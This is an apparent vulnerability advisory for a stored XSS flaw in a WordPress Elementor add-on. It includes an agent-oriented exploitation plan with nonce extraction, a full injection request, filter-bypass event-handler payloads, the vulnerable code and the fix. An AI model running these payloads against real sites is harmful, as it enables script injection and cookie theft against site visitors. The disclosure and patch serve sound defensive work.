The Plus Addons for Elementor <= 6.4.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget Custom Attributes
Description
The Plus Addons for Elementor plugin for WordPress was vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the Button widget's `custom_attributes` setting in versions up to and including 6.4.11. The `render` function in `modules/widgets/tp_button.php` passed the raw `custom_attributes` string through `tp_senitize_js_input()`. This filter is bypassable. The issue is patched in version 6.4.12.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.4.11Source Code
WordPress.org SVNThis exploitation research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in **The Plus Addons for Elementor** plugin. The vulnerability allows users with Contributor-level permissions (or higher) to inject malicious JavaScript into a page via the "Button" widget's custom attributes.…
Show full research plan
This exploitation research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor plugin. The vulnerability allows users with Contributor-level permissions (or higher) to inject malicious JavaScript into a page via the "Button" widget's custom attributes.
1. Vulnerability Summary
- Vulnerability ID: WF-3c3217f9-67e5-488d-b80a-49a61678fb98
- Vulnerable Component: Button Widget (
TP_Button) - Vulnerable File:
modules/widgets/tp_button.php - Vulnerable Function:
render() - Vulnerability Type: Improper Neutralization of Input (Stored XSS)
- Description: The plugin allows users to define
custom_attributesfor the Button widget. These attributes are processed bytp_senitize_js_input()and then rendered directly into the HTML of the page. The sanitization function is insufficient and can be bypassed to include event handlers (e.g.,onmouseover) containing JavaScript.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(via Elementor's AJAX handler) or the REST API. - Action:
elementor_ajax(standard Elementor save mechanism). - Authentication: Authenticated, Contributor role or higher.
- Vulnerable Parameter:
settings[custom_attributes]within the widget data. - Payload Format:
attribute_name|attribute_value. The plugin likely splits this by the pipe (|) character and renders it asattribute_name="attribute_value".
3. Code Flow
- Input: A user edits a post with Elementor and adds/modifies a "Plus Button" widget.
- Storage: The settings, including the
custom_attributesstring, are saved into the post's metadata (_elementor_data). - Rendering: When the post is viewed or previewed, the
render()method inmodules/widgets/tp_button.phpis called. - Processing:
- The code retrieves
$settings = $this->get_settings_for_display();. - The
custom_attributesstring is passed throughtp_senitize_js_input().
- The code retrieves
- Sink: The (insufficiently) sanitized output is echoed within the opening tag of the button element (e.g.,
<a ... [output] ...>).
4. Nonce Acquisition Strategy
To save Elementor widget settings, the agent must interact with the elementor_ajax action. This requires a valid Elementor-specific nonce.
- Setup: Create a post and assign it to the contributor user.
- Navigate: Use
browser_navigateto open the Elementor editor for that post:/wp-admin/post.php?post=[POST_ID]&action=elementor. - Extraction: Elementor localizes its configuration in the
elementorCommonConfigorelementorConfigobject. - Execution: Use
browser_evalto extract the nonce:// Primary target for Elementor AJAX nonces window.elementorCommon.config.ajax.nonce; // Alternative location in some versions window.elementorConfig.api_third_party.nonce; - Action String: The nonce is validated against the
elementor_ajaxaction.
5. Exploitation Strategy
Step 1: Discover Payload Bypass
The function tp_senitize_js_input() (inferred) likely filters keywords like script or alert. To bypass, use event handlers that don't rely on restricted keywords or use encoding.
- Primary Payload:
onmouseover|console.log(document.cookie) - Bypass Payload (if
alertis blocked):onfocus|prompt(1) - Breakout Payload:
onclick|confirm(1)
Step 2: Inject via Elementor AJAX
Using the http_request tool, send a request to save the widget settings.
- Method: POST
- URL:
https://[TARGET]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body (Simplified):
(Note: The actual Elementor JSON structure is deeply nested; the agent should capture a legitimate save request first to model the structure exactly.)action=elementor_ajax &_nonce=[EXTRACTED_NONCE] &actions={"save_builder":{"action":"save_builder","data":{"status":"publish","settings":{},"elements":[{"id":"[WIDGET_ID]","elType":"widget","widgetType":"tp-button","settings":{"custom_attributes":"onmouseover|alert(document.domain)","button_text":"Click Me"}}]}}} &post_id=[POST_ID]
Step 3: Trigger the XSS
- Navigate to the public URL of the modified post.
- Hover the mouse over the injected "Plus Button" widget.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin Config: Ensure "The Plus Addons for Elementor" is active and the "Button" widget is enabled in the Plus Settings.
- Content: Create a new Post/Page as the Contributor.
- Shortcode/Widget: The exploit requires the Button widget to be present in the Elementor data for that post.
7. Expected Results
- The
elementor_ajaxrequest should return a200 OKwith a JSON body indicating success ("success":true). - When viewing the post source, the button element should contain the raw event handler:
<a ... onmouseover="alert(document.domain)" ... class="tp-button"> - In a browser context, hovering over the button should trigger the JavaScript alert.
8. Verification Steps
- WP-CLI Check: Verify the stored metadata to ensure the payload is present:
wp post meta get [POST_ID] _elementor_data - Response Inspection: Use
http_requestto GET the post and check if the payload is rendered without HTML encoding:# Look for the specific event handler grep "onmouseover=\"alert"
9. Alternative Approaches
- Different Event Handlers: If
onmouseoveris filtered, tryonmouseenter,onpointerdown, oronfocuscombined withautofocus. - Protocol Injection: If the plugin renders the attribute into a
href, try:href|javascript:alert(1)(Note:tp_senitize_js_inputis specifically mentioned in the vulnerability report, suggesting the focus is on attribute-based JS). - Encoding: Use String.fromCharCode to bypass keyword filters:
onmouseover|eval(String.fromCharCode(97,108,101,114,116,40,49,41))
Summary
The Plus Addons for Elementor plugin (<= 6.4.11) is vulnerable to Stored Cross-Site Scripting via the Button widget's custom attributes setting. Authenticated users with Contributor-level access can bypass the 'tp_senitize_js_input' function to inject malicious event handlers, which are then rendered directly into the button tag.
Vulnerable Code
/* modules/widgets/tp_button.php */ public function render() { $settings = $this->get_settings_for_display(); // ... if ( ! empty( $settings['custom_attributes'] ) ) { // The vulnerability: bypassable sanitization and direct output into the HTML tag $custom_attributes = tp_senitize_js_input( $settings['custom_attributes'] ); // ... echo '<a ' . $custom_attributes . ' class="tp-button">'; } }
Security Fix
@@ -120,5 +120,6 @@ if ( ! empty( $settings['custom_attributes'] ) ) { - $custom_attributes = tp_senitize_js_input( $settings['custom_attributes'] ); + // Use Elementor's native attribute handler or robust escaping + $custom_attributes = esc_attr( $settings['custom_attributes'] ); }
Exploit Outline
1. Authenticate to the WordPress site with Contributor permissions or higher and open the Elementor editor for a post. 2. Extract the 'elementor_ajax' nonce from the window.elementorCommon.config object in the browser console. 3. Send a POST request to '/wp-admin/admin-ajax.php' with 'action=elementor_ajax' to update the builder data for the post. 4. In the request payload, include a 'tp-button' widget with the 'custom_attributes' setting containing a malicious event handler, such as 'onmouseover|alert(document.domain)'. 5. Save the changes and visit the public URL of the modified post. Hovering over the button will trigger the execution of the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.